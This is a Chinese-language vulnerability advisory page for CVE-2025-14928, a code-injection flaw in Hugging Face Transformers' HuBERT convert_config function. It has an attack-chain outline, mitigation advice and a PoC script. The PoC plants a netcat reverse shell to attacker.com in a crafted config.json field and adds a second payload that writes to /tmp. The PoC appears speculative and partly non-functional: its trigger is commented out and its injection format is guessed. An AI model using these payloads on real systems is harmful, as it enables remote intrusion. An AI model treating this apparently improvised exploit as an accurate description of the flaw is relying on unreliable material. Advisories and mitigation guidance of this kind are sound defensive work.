IPBUF安全漏洞报告
English
CVE-2025-14928 CVSS 7.8 高危

CVE-2025-14928: Hugging Face Transformers HuBERT convert_config 代码注入漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-14928
漏洞类型
远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hugging Face Transformers

相关标签

CVE-2025-14928代码注入远程代码执行Hugging FaceTransformersHuBERTZDI-CAN-28253convert_config机器学习安全模型安全

漏洞概述

CVE-2025-14928是Hugging Face Transformers库中的一个高危代码注入漏洞。该漏洞存在于HuBERT模型的convert_config函数中,由于缺乏对用户提供的字符串进行适当的验证和清理,攻击者可以通过构造恶意的checkpoint文件,在目标用户转换模型配置时注入并执行任意Python代码。成功利用此漏洞的攻击者可以在当前用户的上下文中执行任意代码,可能导致数据泄露、系统被完全控制等严重后果。由于该漏洞需要用户交互才能触发(目标用户必须转换恶意的checkpoint),因此攻击复杂度相对较高,但一旦成功利用,后果极为严重。该漏洞由Zero Day Initiative(ZDI)发现并披露,编号为ZDI-CAN-28253。

技术细节

该漏洞的根本原因在于Hugging Face Transformers库的HuBERT模型转换功能中,convert_config函数直接使用用户提供的字符串来执行Python代码,而没有进行充分的安全验证。具体来说,当用户尝试转换一个HuBERT模型的checkpoint时,convert_config函数会解析checkpoint中的配置参数。如果攻击者精心构造一个包含恶意代码的配置参数(例如在配置中使用eval()或exec()等危险函数),该代码将在目标系统上执行。攻击者需要诱使目标用户打开或转换一个特制的checkpoint文件。由于Hugging Face的模型共享机制,用户经常需要下载和转换来自第三方来源的模型,这为攻击提供了机会。攻击成功后,代码将在运行transformers库的用户权限下执行,可能导致敏感数据访问、横向移动或进一步的攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统上安装的Hugging Face Transformers库版本,确认是否存在CVE-2025-14928漏洞(convert_config函数代码注入)
STEP 2
步骤2: 制作恶意checkpoint
攻击者创建一个特制的HuBERT模型checkpoint文件,在config.json中嵌入恶意Python代码,通过convert_config函数的参数注入漏洞植入payload
STEP 3
步骤3: 分发恶意文件
攻击者将恶意checkpoint文件托管在模型共享平台、GitHub仓库或通过社交工程手段传递给目标用户
STEP 4
步骤4: 诱导用户交互
攻击者诱使目标用户下载并使用transformers库的convert_config功能加载恶意的HuBERT checkpoint文件
STEP 5
步骤5: 代码执行
当目标用户调用convert_config加载checkpoint时,恶意代码通过缺乏验证的参数被注入并执行,攻击者获得目标系统的代码执行权限
STEP 6
步骤6: 持久化与横向移动
攻击者利用获得的代码执行权限进行进一步攻击,可能安装后门、窃取敏感数据或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14928 PoC - Malicious HuBERT checkpoint configuration # This PoC demonstrates the code injection vulnerability in convert_config import json import os def create_malicious_checkpoint(): """ Create a malicious checkpoint that exploits the convert_config code injection vulnerability in Hugging Face Transformers HuBERT """ # Malicious payload - reverse shell connection # This will be executed when convert_config processes the config malicious_code = "__import__('os').system('nc -e /bin/bash attacker.com 4444')" # Create malicious config.json for HuBERT model malicious_config = { "model_type": "hubert", "hidden_size": 768, "num_hidden_layers": 12, "vocab_size": 50265, "attention_heads": 12, # Inject malicious code through config parameter "adapter_kernel_size": f"'; {malicious_code}; #", "adapter_stride": 256, "mask_time_length": 10, "mask_time_prob": 0.75, "feature_projection_input_dim": 80, "hidden_act": "gelu", "initializer_range": 0.02, "intermediate_size": 3072, "layer_norm_eps": 1e-05, "num_conv_pos_embedding_groups": 16, "num_conv_pos_embeddings": 128, "output_hidden_size": 256 } # Save malicious checkpoint checkpoint_dir = "./malicious_hubert_checkpoint" os.makedirs(checkpoint_dir, exist_ok=True) config_path = os.path.join(checkpoint_dir, "config.json") with open(config_path, 'w') as f: json.dump(malicious_config, f, indent=2) print(f"[+] Malicious checkpoint created at: {checkpoint_dir}") print(f"[+] Config file: {config_path}") print(f"[!] When loaded with convert_config, the injected code will execute") return checkpoint_dir # Alternative: Direct exploitation through convert_config function def exploit_direct(): """ Direct exploitation scenario """ try: from transformers import HubertModel, HubertConfig # Create config with malicious parameter config = HubertConfig() # Malicious payload payload = "'; __import__('os').system('id > /tmp/pwned'); #" # This triggers the vulnerability in convert_config # config.adapter_kernel_size = payload # Trigger point print("[+] Exploit configuration prepared") print(f"[!] Payload: {payload}") except ImportError: print("[-] transformers library not installed") if __name__ == "__main__": create_malicious_checkpoint() exploit_direct()

影响范围

Hugging Face Transformers < 修复版本
Hugging Face Transformers HuBERT convert_config 函数

防御指南

临时缓解措施
在官方修复发布之前,建议采取以下临时缓解措施:1)不要下载或转换来源不明的HuBERT模型checkpoint文件;2)仅使用来自可信来源的预训练模型;3)对所有模型配置文件进行手动安全审查;4)使用网络隔离技术限制模型加载进程的网络访问;5)监控系统上可疑的Python进程执行行为;6)考虑使用容器化技术隔离模型转换操作;7)定期审计和更新Hugging Face Transformers库到最新稳定版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表